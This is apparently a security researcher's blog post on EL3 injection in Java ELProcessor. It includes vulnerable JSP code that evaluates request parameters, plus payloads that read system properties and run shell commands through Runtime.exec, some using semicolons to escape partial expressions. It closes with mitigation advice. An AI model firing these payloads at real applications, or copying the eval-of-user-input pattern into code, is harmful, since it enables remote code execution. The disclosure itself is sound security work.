The following article explains the mechanics of a code injection attack
called EL3 Injection in applications that make use of the relatively new
EL3 processor in java.
New mechanics and operators introduced in EL3 make the discovery and
exploitation of this exposure almost as easy and seamless as SQL Injection, and
the impact of the vulnerability is severe, with potential impacts such as
denial of service, information theft and even remote code execution.
Since the EL3 technology is relatively new it's probably not (YET) as common as other severe exposures, but at the very least, it will put a big wide THEY DID WHAAAAT!? smile on your face.
Since the EL3 technology is relatively new it's probably not (YET) as common as other severe exposures, but at the very least, it will put a big wide THEY DID WHAAAAT!? smile on your face.
[Note –
The following article discusses a generic application-level coding flaw in modern Java applications, NOT a java 0-day.
Keep on reading – the juicier RCE payloads are presented at the end]
The following article discusses a generic application-level coding flaw in modern Java applications, NOT a java 0-day.
Keep on reading – the juicier RCE payloads are presented at the end]
While trying to (and miserably failing at) create a training
kit for EL
Injection (or Spring EL Injection, JSR245, if you will),
published by Stefano
Di Paola and Arshan Dabirsiaghi, I spent some time trying to get
a working build of the eclipse-based STS IDE version which supported the vulnerable
Java Spring MVC versions (Spring 3.0.0-3.0.5).
Turns out that someone did a REALLY GOOD job eradicating every
trace of the vulnerable builds, leaving only time consuming options of compiling
the environment from scratch.
Luckily, at some point, I decided to take a short break, and read about
the relatively new EL
in Java (JSR341, not necessarily in Java Spring) – and found
something VERY interesting.
Turns out that the newest java expression language version, EL 3.0
(published sometime in 2013),
includes multiple enhancements, such as operators, security restrictions on
class access, and so on.
A typical source code sample of using EL3 in a Servlet or JSP
page would look something like:
<%@page
import="javax.el.ELProcessor"%>
…
<%
ELProcessor
elp = new ELProcessor();
Object
msg = elp.eval("'Welcome' +
user.name");
out.println(msg.toString());
%>
|
The ELProcessor dynamically evaluates the EL statement, and attempts to
access the "name" fields of the Bean (or registered class) user.
After taking a couple of shots at "guessing" objects that
might be accessible by default, I stumbled on one of the features that can be
used to define access to classes in EL3, which includes the ELManager class
methods importClass, importPackage and importStatic.
These methods could be used to "import" various classes and
even packages into the scope of the expression language, so they could be
referenced within expressions.
So in order to use classes in EL3 expressions, you'll need to include
them using statements such as –
elp.getELManager().importClass("java.io.File");
|
This feature was implemented due to safety concerns (or in other
words, security), to make sure that access to classes is presumably prevented
for any class that was not also included in the page/project original EL imports
AND application imports, so that even if developers will enable user input to
affect the "importPackage" or "importClass" statements, the
external effect will be limited to the classes already imported in the context.
However, since many interesting classes and packages are typically used
in Servlets and JSP pages, an attacker can still abuse this feature in multiple
scenarios –
(1) If the developer already imported a class that the attacker needs
into the EL context, and an attacker controlled input is used within the
expression evaluation:
Input1
= "File.listRoots()[0].getAbsolutePath()"
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
ELProcessor
elp = new ELProcessor();
elp.getELManager().importClass("java.io.File");
Object
path = elp.eval(input1);
out.println(path);
%>
|
(2) If the developer enabled the user to control the importClass/Package
statement (no limits to human stupidity, right?), and already has a wide enough
scope imported in the page/application imports:
Input1
= "File.listRoots()[0].listFiles()[1].getAbsolutePath()"
Input2
= "java.io.File";
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
String input2
= request.getParameter("input2");
ELProcessor
elp = new ELProcessor();
elp.getELManager().importClass(Input2);
Object
path = elp.eval(input1);
out.println(path);
%>
|
So, here you go.
A nice exploit that will probably affect a couple of desolate apps, with super insecure code. Hardly worth its own classification.
However, while trying to squeeze some more juice out of the potential
attack vector, I stumbled upon the following video, which
explains the features of EL3 in great details.
To make a long story short, watch the video and skip to 7:52.
It's well worth your time.
Turns out that despite the security restrictions that required
developers to explicitly import classes and packages to be used in the
EL3 scripts, the java.lang package was
included by default, to enable the
typical developer to gain access to static type object and methods such
as Boolean.TRUE and Integer.numberOfTrailingZeros.
They enabled access by default to the static members of classes
in JAVA.LANG, as in the java.lang package that includes java.lang.System and java.lang.Runtime!
JAVA.LANG!
Seems like somebody there confused "user friendly" with
"hacker friendly" J
So, if for some reason, a user controlled input would stumble into an
EL3 eval clause, which for some reason java is encouraging users to use in many
platforms such as JSF, CDI, Avatar and many CMSs, than attackers could do a LOT
more with no requirements on specific imports -
Input1
= "System.getProperties()"
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
ELProcessor
elp = new ELProcessor();
Object
sys = elp.eval(input1);
out.println(sys);
%>
|
Also, Instead of using the System class, we can use the Runtime
static class methods to execute shell commands.
For example:
Input1
= "Runtime.getRuntime().exec('mkdir
abcde').waitFor()"
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
ELProcessor
elp = new ELProcessor();
Object
sys = elp.eval(input1);
out.println(sys);
%>
|
An impact similar to that of the Spring's counterpart of EL injection,
only in mainstream Java.
Cool. Now we can shamelessly classify the attack and rest.
But there's more!
Although scenarios in which the user's input will get full control of
the entire EL string are possible, they are much less common than scenarios in
which user input might be integrated as a part of an EL string, in which
case most of the previously mentioned payloads won't work.
However, EL 3.0 was kind enough to present us with NEW operators,
one of which is the infamous semicolon (;).
As its SQL counterpart functionality suggests, the semicolon delimiter
can be used in EL 3 to close one expression, and add additional expressions,
with or without logical relations to each other.
Think adding multiple lines of code to a single attack payload. Think
injecting payloads into the middle of expression, while using techniques
similar to blind SQL injection.
Don't think. Here's a couple of examples:
Input1
= "; Runtime.getRuntime().exec('mkdir aaaaa12').waitFor()"
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
ELProcessor
elp = new ELProcessor();
Object
sys = elp.eval(("'Welcome' +
input1);
out.println(sys);
%>
|
Input1
= "1); Runtime.getRuntime().exec('mkdir jjjbc12').waitFor("
|
<%@page
import="javax.el.ELProcessor"%>
<%@page
import="javax.el.ELManager"%>
…
<%
String input1
= request.getParameter("input1");
ELProcessor
elp = new ELProcessor();
Object
sys = elp.eval(("SomeClass.StaticMethod(
+ input1 + ")");
out.println(sys);
%>
|
So due to the implementation of the semicolon operator, potential
injections can now CLOSE PREVIOUS STATEMENTS and start new statements, making
the potential injection almost as usable as SQL injection. Features such as EL
variable declaration, value assignments and others (watch the video) just add
more fuel to the fire.
So much for enhanced security features.
We already identified a few instances that affect real world
applications (no instances in core products, so far), and are currently
handling them infront of the relevant entities.
I'll probably invest some more time in the upcoming weeks to see if any
prominent java projects are prone to this issue, but in the meantime, some
practical notes:
Regardless of how common these issues are, these potential exposures
could easily be identified in code reviews or by source code analysis tools
that track the effect of input on the various methods of the ELProcessor
class, and on similar EL related classes.
Generic blind injection payloads can
be added as plugins for automated scanners, and we could go bug hunting to see
if any more of these potential issues exists in the wild.
The mitigation is also simple, not embedding input into EL statements
and validating input in case you do.
I'll update this post as the research progresses.
Cheers